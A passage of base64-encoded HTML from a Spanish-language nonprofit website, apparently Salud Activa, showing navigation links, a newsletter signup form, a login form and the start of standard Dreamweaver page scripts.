5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1u